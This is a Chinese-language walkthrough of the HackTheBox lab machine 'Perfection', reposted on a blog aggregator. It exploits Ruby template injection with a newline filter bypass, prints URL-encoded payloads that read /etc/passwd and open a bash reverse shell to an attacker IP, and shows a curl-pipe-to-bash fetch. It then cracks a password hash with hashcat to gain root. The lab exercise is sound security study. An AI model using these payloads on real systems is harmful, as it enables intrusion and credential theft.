HTB靶场 Perfection

端口 打开了ssh和http服务

访问 Perfection靶机的网站

是一个根据权重计算总成绩的网站

Wappalyzer查看网页用的什么编写搭建的

抓包看一下是怎么工作的

发送,,返回的结果

如果我在 类别 后面多加一句命令

就会出现提示  恶意输入阻止

大概率有命令注入

通过插件知道用的ruby语言

存在SSTI(模板注入漏洞)

SSTI (Server Side Template Injection) | HackTricks | HackTricks

%0A是截断符号,它可以使bash在读取代码时读到这个符号时停止读取这一行的后续代码,取而代之的是接着执行后面的代码

在传参中url编码会自动忽略空格要用“+”来代替上述语句

将payload使用base64编码来进行嵌套,为了避免后面可能会有一些关键字过滤

url encode key characte编码

aaa%0A<%25%3d+File.open('/etc/passwd').read+%25>

把<%= File.open('/etc/passwd').read %> 选中右键选择Convert Selection选择url 选择url encode key character  就得到<%25%3d+File.open('/etc/passwd').read+%25>

有一个susan用户

拿shell第一次失败,再次重试就成功了

<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.29/6666 0>&1'` %>

-c 运行后边的字符串命令

bash -i (交互式) 启动一个交互式bash shell

>& 将这个shell的标准输出和标准错误输出都重定向到 与IP地址10.10.14.29在端口6666上建立的TCP连接中
/dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口

0标准输入 重定向 >& 1标准输出

把它url encode key character 得到

<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

然后category1=

ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

拿到shell了

拿shell第二次失败

 写个1.sh  内容为 
bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

开启http服务

python3 -m http.server 80 

把<%= `curl http://10.10.14.29/1.sh|bash` %>编码
<%25%3d+`curl+http://10.10.14.29/1.sh|bash`+%25>

还是失败  状态码应该是504不是200

拿shell第三次失败

HTB靶机渗透之perfection(linux-easy)超详细!!!_webrick 1.7.0 漏洞-CSDN博客

在burp的 decoder模块编码

由于这个代码在输入网页后,发送到服务器前会被自动url编码,所以我们要对对应的字符手动进行url编码  

%25对应的是%

aaa%0a<%25恶意代码%25>;

要让base64格式的payload能被正确在bash中读取,在linux系统中,我们可以通过echo来写入文件或是执行命令,然后调用base64 -d来解析payload,最后再用bash执行,“|”符号的作用就是分割语句

其余恶意代码=echo+[payload]|+base64+-d+|+bash   (+表示空格)
总的 category1=

aaa%0a<%25=system("echo+payload|+base64+-d+|+bash);%25>;

写一段反弹shell代码#!/bin/bash bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

经过base64编码

拿到用户的flag

现在就要提权了

.sudo_as_admin_successful 我们只有读写,不能执行

ssh密钥登录没必要尝试

SSH 使用密钥远程登录_ssh用密钥登录-CSDN博客

接着看.ssh目录有2个文件(都可以读写)  ssh是密钥登录

authorized.keys是密钥对中的公钥

authorized_keys用于存储允许通过 SSH 访问特定用户帐户的公钥。当用户尝试通过 SSH 连接到服务器时,服务器会使用此文件中的公钥验证用户的身份

查看/etc/ssh/sshd_config

PubkeyAuthentication  yes表示允许密钥访问

susan服务器生成密钥对ssh-keygen

服务器安装公钥 cat id_rsa.pub >> authorized_keys

私钥./id_rsa拷贝到客户端

然后我觉得就算登录成功,ssh依然是susan的shell

换思路

sudo -l  列出当前用户可以执行的sudo命令   执行不了sudo需要密码

查找具有suid的权限 

-type f 仅查找文件

有fusermount3  查看版本fusermount3 --version
fusermount3 version: 3.10.5

fusermount3没有漏洞可以利用

查找.txt、.db、.sql、.dump文件

寻找和password有关的文件 grep -i password -R

grep是文本搜索工具 -i不区分大小写 -R递归搜索,查找目录下的所有子目录

find / -name "*.db" -type f 2>/dev/nul

/home/susan/Migration/pupilpath_credentials.db是数据库文件

靶机上虽然有sqlite3 但是不会显示任何内容

试试 创造一个交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

成功显示交互内容

sqlite3 .db

.table

select * from users;

得到

1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

没实验过

或者把db文件下载到自己的机器

开启http服务  curl上传文件到127.0.0.1

curl -F "file=@pupilpath_credentials.db" http://127.0.0.1 

查看包含用户名的文件

find / -name "*susan*" -type f -ls 2>/dev/null

cat /var/mail/susan

所以说密码格式

susan(名)_nasus(名字反过来)_一串数字

hash-identifier hash码

可以判断hash加密的算法是啥 sha256

hashcat

参考HTB Perfection_perfection htb-CSDN博客

 hashcat -m 1400 -a 3 -i --increment-min=1 --increment-max=10 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

-m 1400 描述了哈希类型(SHA256)  0是MD5
-a 3 使用掩码模式
-i 以及 --increment-min=1 和 --increment-max=10 指定你要爆破的最小和最大长度
?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码  ?d 表示一位数字

我的虚拟机内存不够 

然后我就直接 看其他人的

susan_nasus_413759210

然后ssh登录 ssh susan@10.10.11.253

sudo -i 就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2980.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024最新版JavaScript逆向爬虫教程-------基础篇之JavaScript密码学以及CryptoJS各种常用算法的实现

目录 一、密码学介绍1.1 为什么要学密码学?1.2 密码学里面学哪一些 二、字符编码三、位运算四、Hex 编码与 Base64 编码4.1 Hex 编码4.2 Base64 编码 五、消息摘要算法5.1 简介5.2 JS中的MD5、SHA、HMAC、SM3 六、对称加密算法6.1 介绍6.2 加密模式和填充方式6.3 CryptoJS 中D…

元宇宙虚拟空间的角色状态更新(七)

前言 该文章主要讲元宇宙虚拟空间的角色状态更新&#xff0c;基本核心技术点 角色状态更新 对角色设置一个位置判断&#xff08;从中心点向下投射一射线确定角色的位置&#xff09; character.feetRaycast(); feetRaycast的start获取碰撞体的位置&#xff0c;end射线结束的…

Linux驱动开发:掌握SPI通信机制

目录标题 1、SPI简介2、SPI通信机制3、Linux内核中的SPI支持4、SPI核心API5、SPI控制器驱动6、SPI设备驱动 7、编写SPI设备驱动8、调试SPI驱动 在Linux驱动开发中&#xff0c;串行外设接口(SPI)是一种常见的高速全双工通信协议&#xff0c;用于连接处理器和各种外设。本文将深入…

QFD赋能人工智能:打造智能化需求分析与优化新纪元

在科技飞速发展的今天&#xff0c;人工智能(AI)已经渗透到我们生活的方方面面。然而&#xff0c;如何让AI更加贴合用户需求&#xff0c;提供更加精准和个性化的服务&#xff1f;这成为了一个亟待解决的问题。质量功能展开&#xff08;Quality Function Deployment&#xff0c;简…

Linux的FTP服务

目录 1.什么是FTP服务&#xff1f; 2.FTP的工作原理和流程 1 主动模式 2 被动模式 3.搭建和配置FTP服务 1 下载服务包、备份配置文件 2 修改配置文件​编辑 3 匿名访问测试 4 设置黑白命令 1.什么是FTP服务&#xff1f; FTP&#xff08;file Transfer Protocol&#…

Vue3 实现 Three.js粒子特效

效果 <template><div id"waves" /> </template><script setup> import { ref, onMounted, onUnmounted } from "vue"; import * as THREE from "three";const amountX ref(50); const amountY ref(50); const color …

QT学习之窗口基本设置

this->setWindowTitle("二代证测试工具"); // 设置窗口名this->setWindowIcon(QIcon("logo.jpg")); // 设置角标this->setFixedSize(900, 730); // 设置窗口大小设置exe图标 .rc文件代码中设置如下

数据结构入门——排序(代码实现)(下)

int GetMidi(int* a, int left, int right) {int mid (left right) / 2;// left mid rightif (a[left] < a[mid]){if (a[mid] < a[right]){return mid;}else if (a[left] > a[right]) // mid是最大值{return left;}else{return right;}}else // a[left] > a[mid…

一寸照片裁剪怎么弄?修改照片尺寸,3种方法调整

一寸照片裁剪怎么弄&#xff1f;将照片裁剪为一寸尺寸&#xff0c;可以方便我们在各种场合中使用。无论是办理证件、申请签证&#xff0c;还是制作简历、参与活动&#xff0c;一寸照片都是不可或缺的资料。通过裁剪&#xff0c;我们能够确保照片的尺寸、比例符合标准&#xff0…

视频怎么批量压缩?5个好用的电脑软件和在线网站

视频怎么批量压缩&#xff1f;有时候我们需要批量压缩视频来节省存储空间&#xff0c;便于管理文件和空间&#xff0c;快速的传输发送给他人。有些快捷的视频压缩工具却只支持单个视频导入&#xff0c;非常影响压缩效率&#xff0c;那么今天就向大家从软件和在线网站2个角度介绍…

GoLand远程开发IDE:使用SSH远程连接服务器进行云端编程

目录 ⛳️推荐 1. 安装配置GoLand 2. 服务器开启SSH服务 3. GoLand本地服务器远程连接测试 4. 安装cpolar内网穿透远程访问服务器端 4.1 服务器端安装cpolar 4.2 创建远程连接公网地址 5. 使用固定TCP地址远程开发 ⛳️推荐 前些天发现了一个巨牛的人工智能学习网站&am…

OpenG中的读写簇函数

1.首先需要在Vi Package Manager中安装Open G 2.找到openG中的读写ini函数&#xff0c;第一组是将簇标签作为段名&#xff0c;第二组是指定段名&#xff0c;本质上都是一样 3.读写簇到ini文件 4.禁用写入&#xff0c;更改簇的元素&#xff0c;增加或者删除&#xff0c;原来…

c++取经之路(其八)——基础模板

我认为的模板其实就是个懒人工具&#xff0c;你来弄个模板&#xff0c;编译器自动给你生成对应的函数。 函数模板&#xff1a; 定义&#xff1a;函数模板是一个蓝图&#xff0c;它本身并不是函数&#xff0c;是编译器用使用方式产生特定具体类型函数的模具。所以其实模板就是…

Edge浏览器下载文件提示 “无法安全下载” 的解决方法

提示如下&#xff1a; 虽然我们可以通过 "保留" 进行下载&#xff0c;但是每次需要选择&#xff0c;比较麻烦 解决方法&#xff1a; 1、打开注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft 2、创建2个 "项" Edge\InsecureContentAllowedForUrls…

C++奇迹之旅:从0开始实现日期时间计算器

文章目录 &#x1f4dd;前言&#x1f320; 头文件Date.h&#x1f309;日期计算函数&#x1f320;前后置&#x1f309;前后置-- &#x1f320;两对象日期相减&#x1f309;自定义流输入和输出 &#x1f309; 代码&#x1f309; 头文件Date.h&#x1f320;Date.cpp&#x1f309; …

微软专家分享 | 拯救者杯 OPENAIGC开发者大赛 能量加油上海站启动啦!

由联想拯救者、AIGC开放社区、英特尔联合主办的“AI生成未来第二届拯救者杯OPENAIGC开发者大赛”自上线以来&#xff0c;吸引了广大开发者的热情参与。 为了向技术开发者、业务人员、高校学生、以及个体创业人员等参赛者们提供更充分的帮助与支持&#xff0c;AIGC开放社区特别…

SpringBoot3.0新特性尝鲜,秒启动的快感!熟悉SpringAOT与RuntimeHints

文章目录 一、前置知识1、官网2、安装GraalVM3、GraalVM的限制4、安装maven5、背景 二、打包SpringBoot3.01、项目准备2、打包3、打包成docker 三、认识AOT1、RuntimeHints2、RuntimeHintsRegistrar3、RegisterReflectionForBinding4、ImportRuntimeHints5、使用JDK动态代理也需…

【禅道客户案例】专访鸿泉物联研发副总监徐小倩,感受上市公司研发项目管理“知与行”

杭州鸿泉物联网技术股份有限公司&#xff08;以下简称“鸿泉物联”、“公司”&#xff09;成立于2009年6月11日&#xff0c;2019年11月6日登陆上海证券交易所科创板&#xff08;股票代码&#xff1a;688288&#xff09;&#xff0c;注册资本10034.392万元&#xff0c;目前员工6…

电磁仿真--基本操作-CST-(3)

目录 1. 目的 2. 建模过程 2.1 创建工程 2.2 修改单位 2.3 创建线和圆柱 2.4 创建螺旋结构 2.5 创建另一个圆柱 2.6 设置频率、背景和边界 2.7 选择RLC求解器 2.8 设置端口 2.9 配置求解器 3. 仿真结果 4. 总结 1. 目的 本文将介绍一种较为复杂的建模方法&#x…

计算机网络物理层思维导图+大纲笔记

大纲笔记&#xff1a; 物理层的基本概念 解决如何在连接各种计算机的传输媒体上传输数据比特流&#xff0c;而不是具体的传输媒体 主要任务 确定与传输媒体接口有关的一些特性 机械特性 电气特性 功能特性 规程特性信道上传送的信号 基带信号 来自信源的信号&#xff0c;直接表…